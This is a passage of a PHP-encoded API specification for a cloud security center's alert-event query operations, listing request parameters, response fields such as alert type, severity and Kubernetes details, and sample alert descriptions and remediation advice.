exploitation'."\n" .'* Malicious process (on-premises threat detection)'."\n" .'* Trusted exception'."\n", 'type' => 'string', 'example' => 'Webshell', ], 'InternetIp' => [ 'description' => 'The public IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'K8sClusterName' => [ 'description' => 'The name of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'TestK8sCluser', ], 'ContainerImageId' => [ 'description' => 'The ID of the image to which the container belongs.'."\n", 'type' => 'string', 'example' => 'cadb7a725641', ], 'AlarmEventDesc' => [ 'description' => 'The description of the alert event.'."\n", 'type' => 'string', 'example' => 'The detection model finds that self-mutation is running on your server. A self-mutation Trojan is a Trojan horse program with self-mutation function. It will change its hash or copy a large number of itself to different paths, and run in the background to avoid cleaning.', ], 'AlarmUniqueInfo' => [ 'description' => 'The unique identifier of the alert event.'."\n" ."\n" .'> To query the details of an alert event, you must provide the unique identifier of the alert event. You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to obtain the identifier.'."\n", 'type' => 'string', 'example' => '9f62555666f177aa84ee1eaf465a****', ], 'CanCancelFault' => [ 'description' => 'Indicates whether you can cancel marking the alert event as a false positive. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'false', ], 'AppName' => [ 'description' => 'The name of the container application.'."\n", 'type' => 'string', 'example' => 'app:msdp-uat-service', ], 'CanBeDealOnLine' => [ 'description' => 'Indicates whether the online handling of the alert event is supported. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'false', ], 'ContainerImageName' => [ 'description' => 'The name of the image to which the container belongs.'."\n", 'type' => 'string', 'example' => 'jenkins/jenkins:latest', ], 'K8sClusterId' => [ 'description' => 'The ID of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'c562cf0d68e9749ee9fe544a7ab2f****', ], 'ContainHwMode' => [ 'description' => 'Indicates whether the Safeguard Mode For Major Activities mode is enabled.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'InstanceName' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'example' => 'i-wz92q7m5hsbgfhdss***', ], 'K8sNodeId' => [ 'description' => 'The ID of the Kubernetes cluster node.'."\n", 'type' => 'string', 'example' => 'i-bp14a1ay8e0aa9t0l***', ], 'Solution' => [ 'description' => 'The solution to the alert event.'."\n", 'type' => 'string', 'example' => 'An invalid logon source IP has been detected. If you recognize this logon attempt, we recommend that you add the current logon source IP to the valid logon source IP list to avoid future alerts. If you do not recognize this logon attempt, we recommend that you modify the password.', ], 'DataSource' => [ 'description' => 'The data source of the alert event.'."\n", 'type' => 'string', 'example' => 'aegis_***', ], 'IntranetIp' => [ 'description' => 'The private IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '172.25.30.**', ], 'AlarmEventAliasName' => [ 'description' => 'The name of the alert event.'."\n", 'type' => 'string', 'example' => 'Login with unusual location', ], 'EndTime' => [ 'description' => 'The timestamp when the alert event ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1542366542000', ], 'Uuid' => [ 'description' => 'The instance UUID of the asset.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'StartTime' => [ 'description' => 'The timestamp when the alert event starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1542378601000', ], 'ContainerId' => [ 'description' => 'The ID of the container application.'."\n", 'type' => 'string', 'example' => 'container_1606995441910_394868_01_000***', ], 'K8sPodName' => [ 'description' => 'The name of the Kubernetes pod.'."\n", 'type' => 'string', 'example' => 'myapp-pod', ], 'K8sNamespace' => [ 'description' => 'The namespace of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'sit-saic-trip', ], 'K8sNodeName' => [ 'description' => 'The name of the Kubernetes cluster node.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou.10.188.139.**', ], 'Level' => [ 'description' => 'The severity of the alert event. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], 'CauseDetails' => [ 'description' => 'An array consisting of the cause of the alert event, which can be used to trace the alert event.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Key' => [ 'description' => 'The key that is used to trace the alert event.'."\n", 'type' => 'string', 'example' => '842e314e69b1a2c45d5c1a2f88a16***', ], 'Value' => [ 'description' => 'The value that is used to trace the alert event.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tracing information.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the field that displays the tracing information. Valid values:'."\n" ."\n" .'* **text**'."\n" .'* **html**'."\n", 'type' => 'string', 'example' => 'html', ], 'Value' => [ 'description' => 'The value of the field that displays the tracing information.'."\n", 'type' => 'string', 'example' => '

under a certain small probability, yundun may mistakenly judge the repeated attempts caused by the administrator forgetting or entering the wrong password as successful blasting. Please check according to the account number and time shown in the alarm details. Once it is confirmed that it is not the initiative of the administrator, it is recommended to immediately block the IP, and you can open it at the same timePAM, hosting host login password, improving remote connection efficiency and security control ability, and according tobest practice of ECS account security protectionModify login password and convergence asset.

↵', ], 'Name' => [ 'description' => 'The name of the field that displays the tracing information.'."\n", 'type' => 'string', 'example' => 'sshd', ], ], ], ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7EA50837-2F0B-5BCC-AB61-4968D88D75AD\\",\\n \\"Data\\": {\\n \\"Type\\": \\"Webshell\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"K8sClusterName\\": \\"TestK8sCluser\\",\\n \\"ContainerImageId\\": \\"cadb7a725641\\",\\n \\"AlarmEventDesc\\": \\"The detection model finds that self-mutation is running on your server. A self-mutation Trojan is a Trojan horse program with self-mutation function. It will change its hash or copy a large number of itself to different paths, and run in the background to avoid cleaning.\\",\\n \\"AlarmUniqueInfo\\": \\"9f62555666f177aa84ee1eaf465a****\\",\\n \\"CanCancelFault\\": false,\\n \\"AppName\\": \\"app:msdp-uat-service\\",\\n \\"CanBeDealOnLine\\": false,\\n \\"ContainerImageName\\": \\"jenkins/jenkins:latest\\",\\n \\"K8sClusterId\\": \\"c562cf0d68e9749ee9fe544a7ab2f****\\",\\n \\"ContainHwMode\\": true,\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"K8sNodeId\\": \\"i-bp14a1ay8e0aa9t0l***\\",\\n \\"Solution\\": \\"An invalid logon source IP has been detected. If you recognize this logon attempt, we recommend that you add the current logon source IP to the valid logon source IP list to avoid future alerts. If you do not recognize this logon attempt, we recommend that you modify the password.\\",\\n \\"DataSource\\": \\"aegis_***\\",\\n \\"IntranetIp\\": \\"172.25.30.**\\",\\n \\"AlarmEventAliasName\\": \\"Login with unusual location\\",\\n \\"EndTime\\": 1542366542000,\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"StartTime\\": 1542378601000,\\n \\"ContainerId\\": \\"container_1606995441910_394868_01_000***\\",\\n \\"K8sPodName\\": \\"myapp-pod\\",\\n \\"K8sNamespace\\": \\"sit-saic-trip\\",\\n \\"K8sNodeName\\": \\"cn-hangzhou.10.188.139.**\\",\\n \\"Level\\": \\"serious\\",\\n \\"CauseDetails\\": [\\n {\\n \\"Key\\": \\"842e314e69b1a2c45d5c1a2f88a16***\\",\\n \\"Value\\": [\\n {\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"

under a certain small probability, yundun may mistakenly judge the repeated attempts caused by the administrator forgetting or entering the wrong password as successful blasting. Please check according to the account number and time shown in the alarm details. Once it is confirmed that it is not the initiative of the administrator, it is recommended to immediately block the IP, and you can open it at the same timePAM, hosting host login password, improving remote connection efficiency and security control ability, and according tobest practice of ECS account security protectionModify login password and convergence asset.

↵\\",\\n \\"Name\\": \\"sshd\\"\\n }\\n ]\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 5A1DDB3C-798C-4A84-BF6E-3DC700000000\\n \\n false\\n 1542366542000\\n true\\n \\n html\\n \\n \\n \\n html\\n 请根据上述信息排查您的WEB服务被利用的页面及参数是否存在漏洞，并及时修复。\\n 排查方案\\n \\n \\n 1542378601000\\n 1.2.3.5\\n aegis_***\\n 测试服务器\\n 异常网络连接\\n false\\n 47900178-885d-4fa4-9d77-XXXXXXXXXXXX\\n 1.2.3.1\\n 黑客入侵服务器后，为了让恶意后门程序能持久化运行，黑客常常将恶意SHELL脚本写入crontab、systemd等计划任务。\\n 8df914418f4211fbf756efe70000****\\n serious\\n 进程异常行为-Linux计划任务执行异常指令\\n 请及时排查告警中提示的恶意URL，以及所下载的目录下的恶意文件。并及时清理已运行的恶意进程。如果该指令是您自己主动执行，您可以在控制台点击标记为误报，并通过工单方式反馈给阿里云安全工程师。\\n \\n","errorExample":""}]', 'title' => 'DescribeAlarmEventDetail', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeSuspEvents' => [ 'summary' => 'Queries a list of alert events that are generated without aggregation.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92215', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the alert event is handled. Valid values:'."\n" ."\n" .'* **N**: unhandled'."\n" .'* **Y**: handled'."\n", 'type' => 'string', 'required' => false, 'example' => 'N', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset that is affected by the alert event.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs-xxx', ], ], [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the alert event. Separate multiple severities with commas (,). Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious', ], ], [ 'name' => 'ParentEventTypes', 'in' => 'query', 'schema' => [ 'description' => 'The alert type of the alert event. Valid values:'."\n" ."\n" .'* **Suspicious process**'."\n" .'* **Webshell**'."\n" .'* **Unusual logon**'."\n" .'* **Exception**'."\n" .'* **Sensitive file tampering**'."\n" .'* **Malicious process (cloud threat detection)**'."\n" .'* **Suspicious network connection**'."\n" .'* **Suspicious account**'."\n" .'* **Application intrusion event**'."\n" .'* **Cloud threat detection**'."\n" .'* **Precise defense**'."\n" .'* **Application whitelist**'."\n" .'* **Persistent webshell**'."\n" .'* **Web application threat detection**'."\n" .'* **Malicious script**'."\n" .'* **Threat intelligence**'."\n" .'* **Malicious network activity**'."\n" .'* **Cluster exception**'."\n" .'* **Webshell (on-premises threat detection)**'."\n" .'* **Vulnerability exploitation**'."\n" .'* **Malicious process (on-premises threat detection)**'."\n" .'* **Trusted exception**'."\n" .'* **Others**'."\n", 'type' => 'string', 'required' => false, 'example' => 'Webshell'."\n", ], ], [ 'name' => 'EventNames', 'in' => 'query', 'schema' => [ 'description' => 'The subtype of the alert event. Separate multiple subtypes with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'WEBSHELL', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert or the information about the asset.'."\n" ."\n" .'> Fuzzy search is supported. The asset information includes the name, public IP address, and private IP address of an asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Status', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'The status of the alert event. Valid values:'."\n" ."\n" .'* **0**: all'."\n" .'* **1**: pending handling'."\n" .'* **2**: ignored'."\n" .'* **4**: confirmed'."\n" .'* **8**: marked as a false positive'."\n" .'* **16**: handling'."\n" .'* **32**: handled'."\n" .'* **64**: expired'."\n" .'* **128**: deleted'."\n" .'* **512**: automatically blocking'."\n" .'* **513**: automatically blocked'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**. Maximum value: 100.'."\n", 'type' => 'string', 'required' => false, 'example' => '20', 'pattern' => '^\\d+$', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', 'pattern' => '^\\d+$', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', 'default' => 'zh', ], ], [ 'name' => 'AlarmUniqueInfo', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event.'."\n" ."\n" .'> To query the details of an alert event, you must specify the ID of the alert event. You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the IDs of alert events.'."\n", 'type' => 'string', 'required' => false, 'example' => '8df914418f4211fb****', ], ], [ 'name' => 'UniqueInfo', 'in' => 'query', 'schema' => [ 'description' => 'The unique key of the alert.'."\n", 'type' => 'string', 'required' => false, 'example' => '73fc06fb175a7405697e402f52864****', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The data source of the alert event. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', 'default' => 'sas', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The source of the alert.'."\n", 'type' => 'string', 'required' => false, 'example' => 'aegis_suspicious_file_v2', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group to which the affected asset belongs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '18768', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the alert is detected. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'bb5d2484-f10e-450d-8917-3e79667e****,0e7c2fcd-7100-42c7-a21a-db6e4f32****', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster of whose alert events you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The key of the condition that is used to query alert events on containers. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the asset'."\n" .'* **appName**: the name of the application'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the ID of the region'."\n" .'* **nodeName**: the name of the node'."\n" .'* **namespace**: the namespace'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image'."\n" .'* **imageDigest**: the digest of the image'."\n", 'type' => 'string', 'required' => false, 'example' => 'instanceId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the condition that is used to query alert events on containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ccf9769c22b844ff9b8d57417683b****', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The item that is used to search for the container. Valid values:'."\n" ."\n" .'* **containerId**: the ID of the container'."\n" .'* **uuid**: the UUID of the server'."\n" .'* **imageUuid**: the UUID of the image'."\n", 'type' => 'string', 'required' => false, 'example' => 'containerId', ], ], [ 'name' => 'TacticId', 'in' => 'formData', 'schema' => [ 'description' => 'The tactic ID of ATT\\&CK.'."\n", 'type' => 'string', 'required' => false, 'example' => 'TA0001', ], ], [ 'name' => 'OperateErrorCodeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the handling result codes of alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The handling result code of the alert event. Set the value in the following format: Operation type.Operation result code. The following operation types are supported:'."\n" ."\n" .'* **Common**: performs common operations.'."\n" .'* **deal**: handles the alert event.'."\n" .'* **ignore**: ignores the alert event.'."\n" .'* **offline_handled**: marks the alert event as handled.'."\n" .'* **mark\\_mis_info**: adds the alert event to the whitelist.'."\n" .'* **rm\\_mark\\_mis_info**: cancels adding the alert event to the whitelist.'."\n" .'* **quara**: quarantines the source file of the malicious process.'."\n" .'* **kill\\_and_quara**: terminates the malicious process and quarantines the source file.'."\n" .'* **kill_virus**: deletes the source file of the malicious process.'."\n" .'* **block_ip**: blocks the source IP address.'."\n" .'* **manual_handled**: marks the alert event as manually handled.'."\n" .'* **advance\\_mark\\_mis_info**: adds the alert event to the whitelist that is configured for precise defense.'."\n" .'* **advance\\_mark\\_mis_info.System**: automatically adds the alert event to the whitelist that is configured for precise defense.'."\n" .'* **advance\\_mark\\_mis_info.User**: manually adds the alert event to the whitelist that is configured for precise defense.'."\n" ."\n" .'The following handling result codes are supported:'."\n" ."\n" .'* **Success**: The operation is successful.'."\n" .'* **Failure**: The operation fails.'."\n" .'* **AgentOffline**: The agent is offline.', 'type' => 'string', 'required' => false, 'example' => 'ignore. Success', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'OperateTimeStart', 'in' => 'query', 'schema' => [ 'title' => '处理时间开始时间', 'description' => 'The timestamp when the handling operation starts.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-07-05 13:50:38', ], ], [ 'name' => 'OperateTimeEnd', 'in' => 'query', 'schema' => [ 'title' => '处理时间结束时间', 'description' => 'The timestamp when the handling operation ends.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-07-06 13:50:38', ], ], [ 'name' => 'TimeStart', 'in' => 'query', 'schema' => [ 'title' => '最新发生开始时间', 'description' => 'The start time when the alert event was last detected.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-07-05 13:50:38', ], ], [ 'name' => 'TimeEnd', 'in' => 'query', 'schema' => [ 'title' => '最新发生结束时间', 'description' => 'The end time when the alert event was last detected.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-07-06 13:50:38', ], ], [ 'name' => 'SortColumn', 'in' => 'query', 'schema' => [ 'title' => '排序字段', 'description' => 'The custom sorting field. Default value: **operateTime**. Valid values:'."\n" ."\n" .'* **lastTime**: the latest occurrence time.'."\n" .'* **operateTime**: the handling time.'."\n" ."\n" .'> This parameter takes effect if you set the **Dealed** parameter to Y.'."\n", 'type' => 'string', 'required' => false, 'example' => 'operateTime', ], ], [ 'name' => 'SortType', 'in' => 'query', 'schema' => [ 'title' => '排序方式', 'description' => 'The custom sorting order. Default value: **desc**. Valid values:'."\n" ."\n" .'* **asc**: the ascending order'."\n" .'* **desc**: the descending order'."\n" ."\n" .'> This parameter takes effect if you set the **Dealed** parameter to Y.'."\n", 'type' => 'string', 'required' => false, 'example' => 'desc', ], ], [ 'name' => 'AssetsTypeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **ECS**: Elastic Compute Service (ECS) instance'."\n" .'* **CONTAINER**: container'."\n" .'* **K8S**: Kubernetes cluster'."\n", 'type' => 'string', 'required' => false, 'example' => 'ECS', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16670360956*****', ], ], [ 'name' => 'StrictMode', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the strict alerting mode.'."\n" ."\n" .'* N: no'."\n" .'* Y: Yes'."\n", 'type' => 'string', 'required' => false, 'example' => 'Y', ], ], [ 'name' => 'MultiAccountActionType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the accounts that you want to query. Default value: **0**. Valid values:'."\n" ."\n" .'* **0**: the current account.'."\n" .'* **1**: all accounts.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'SourceAliUids', 'in' => 'query', 'style' => 'simple', 'schema' => [ 'description' => 'The IDs of the Alibaba Cloud accounts within which alerts are generated.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the Alibaba Cloud account within which an alert is generated.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '196072141348****', ], 'required' => false, ], ], [ 'name' => 'SupportOperateCodeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => '告警支持的操作类型列表。', 'type' => 'array', 'items' => [ 'description' => 'Supported alarm operation types: '."\n" .'- **AI.false_positive**: Suspected false positive '."\n" .'- **AI.real_attack**: Real attack '."\n" .'- **AI.Insufficient_information_to_evaluate**: Insufficient information to evaluate', 'type' => 'string', 'required' => false, 'example' => 'AI.real_attack', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '0D6E20E4-8326-1D03-A553-2182BE9E82F9', ], 'TotalCount' => [ 'description' => 'The total number of alert events.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'SuspEvents' => [ 'description' => 'The information about the alert events.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Stages' => [ 'description' => 'The stage at which the attack is detected.'."\n", 'type' => 'string', 'example' => '"["authority_maintenance"]"', ], 'TacticItems' => [ 'title' => '攻击阶段展示名', 'description' => 'The display name of the attack stage.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'TacticId' => [ 'description' => 'The stage information about ATT\\&CK.'."\n", 'type' => 'string', 'example' => 'TA0001', ], 'TacticDisplayName' => [ 'description' => 'The tactic name of ATT\\&CK.'."\n", 'type' => 'string', 'example' => 'Malicious scripts-Malicious script code execution', ], ], ], ], 'InternetIp' => [ 'description' => 'The public IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'K8sClusterName' => [ 'description' => 'The name of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'k8s-daily', ], 'ContainerImageId' => [ 'description' => 'The ID of the container image.'."\n", 'type' => 'string', 'example' => 'sha256:2e5a3b0ae5f452b3cb458789a9a7542ef40035a84318469a8528c5e444db1****', ], 'LastTimeStamp' => [ 'description' => 'The timestamp when the alert event was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1631699497000', ], 'OccurrenceTime' => [ 'description' => 'The time when the alert event was first detected.'."\n", 'type' => 'string', 'example' => '2018-09-26 01:51:01', ], 'AlarmUniqueInfo' => [ 'description' => 'The unique ID of the alert event.'."\n", 'type' => 'string', 'example' => '8df914418f****', ], 'Desc' => [ 'description' => 'The impact of the alert event.'."\n", 'type' => 'string', 'example' => 'webshell', ], 'CanCancelFault' => [ 'description' => 'Indicates whether you can cancel marking the alert event as a false positive. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'AlarmEventNameDisplay' => [ 'description' => 'The name of the alert.'."\n", 'type' => 'string', 'example' => 'Login with unusual location', ], 'AppName' => [ 'description' => 'The name of the application to which the alert event belongs.'."\n", 'type' => 'string', 'example' => 'pro-deploy-tibasic', ], 'SecurityEventIds' => [ 'description' => 'The ID of the associated alert event.'."\n", 'type' => 'string', 'example' => '270789', ], 'K8sClusterId' => [ 'description' => 'The ID of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'c517b37e1401e4961b3951863a49a****', ], 'ContainerImageName' => [ 'description' => 'The name of the container image.'."\n", 'type' => 'string', 'example' => 'centos7_apache:v1.0.1', ], 'MarkMisRules' => [ 'description' => 'The advanced whitelist rule.'."\n", 'type' => 'string', 'example' => '[{\\"uuid\\":\\"ALL\\",\\"field\\":\\"gmtModified\\",\\"operate\\":\\"contains\\",\\"fieldValue\\":\\"222\\"}]', ], 'CanBeDealOnLine' => [ 'description' => 'Indicates whether you can handle the alert event online, such as quarantining the source file of the malicious process. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ContainHwMode' => [ 'description' => 'Indicates whether the safeguard mode for major activities is enabled for the server. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'K8sNodeId' => [ 'description' => 'The ID of the Kubernetes node.'."\n", 'type' => 'string', 'example' => 'i-bp14a1ay8e0aa9t0****'."\n", ], 'InstanceName' => [ 'description' => 'The name of the associated instance.'."\n", 'type' => 'string', 'example' => 'nginx', ], 'EventStatus' => [ 'description' => 'The status of the alert event. Valid values:'."\n" ."\n" .'* **1**: pending handling'."\n" .'* **2**: ignored'."\n" .'* **4**: confirmed'."\n" .'* **8**: marked as a false positive'."\n" .'* **16**: handling'."\n" .'* **32**: handled'."\n" .'* **64**: expired'."\n" .'* **604**: marked as a false positive by the system'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SaleVersion' => [ 'description' => 'The edition of Security Center in which the alert event can be detected. Valid values:'."\n" ."\n" .'* **0**: Basic edition'."\n" .'* **1**: Enterprise edition'."\n", 'type' => 'string', 'example' => '1', ], 'OperateErrorCode' => [ 'description' => 'The handling result code of the alert event.'."\n", 'type' => 'string', 'example' => 'kill_and_quara.Success', ], 'Name' => [ 'description' => 'The complete name of the alert event.'."\n", 'type' => 'string', 'example' => 'Unusual Logon-Login with unusual location', ], 'HasTraceInfo' => [ 'description' => 'Indicates whether the alert event has tracing information. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'DataSource' => [ 'description' => 'The source of data. This parameter can be ignored.'."\n", 'type' => 'string', 'example' => 'aegis_suspicious_****', ], 'OperateTime' => [ 'description' => 'The handling timestamp of the alert event. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1631699497000', ], 'EventSubType' => [ 'description' => 'The subtype of the alert event.'."\n", 'type' => 'string', 'example' => 'login_common_location', ], 'Advanced' => [ 'description' => 'Indicates whether the alert event was analyzed offline.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OccurrenceTimeStamp' => [ 'description' => 'The timestamp when the alert event was first detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1631699497000', ], 'InstanceId' => [ 'description' => 'The instance ID of the affected asset.'."\n", 'type' => 'string', 'example' => 'i-9dp6dwsxdl9z5u1e2f****', ], 'AlarmEventTypeDisplay' => [ 'description' => 'The display name of the type of the alert event.'."\n", 'type' => 'string', 'example' => 'Unusual Logon', ], 'IntranetIp' => [ 'description' => 'The private IP address of the associated instance.'."\n", 'type' => 'string', 'example' => '100.100.XX.XX', ], 'LastTime' => [ 'description' => 'The time when the alert event was last detected.'."\n", 'type' => 'string', 'example' => '2018-09-26 01:51:01', ], 'OperateMsg' => [ 'description' => 'The handing result message of the alert event.'."\n", 'type' => 'string', 'example' => 'success', ], 'Uuid' => [ 'description' => 'The unique ID of the associated instance.'."\n", 'type' => 'string', 'example' => 'bf6b30d3-eea8-4924-9f0a-****', ], 'K8sPodName' => [ 'description' => 'The name of the Kubernetes pod.'."\n", 'type' => 'string', 'example' => 'myapp-pod'."\n", ], 'ContainerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => 'container_1648601865161_14925_02_000****', ], 'AlarmEventType' => [ 'description' => 'The type of the alert event.'."\n", 'type' => 'string', 'example' => 'Unusual Logon', ], 'K8sNamespace' => [ 'description' => 'The namespace of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'default', ], 'AutoBreaking' => [ 'description' => 'Indicates whether automatic defense is enabled.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'K8sNodeName' => [ 'description' => 'The name of the Kubernetes node.'."\n", 'type' => 'string', 'example' => 'N/A', ], 'AlarmEventName' => [ 'description' => 'The name of the alert event.'."\n", 'type' => 'string', 'example' => 'login_common_location', ], 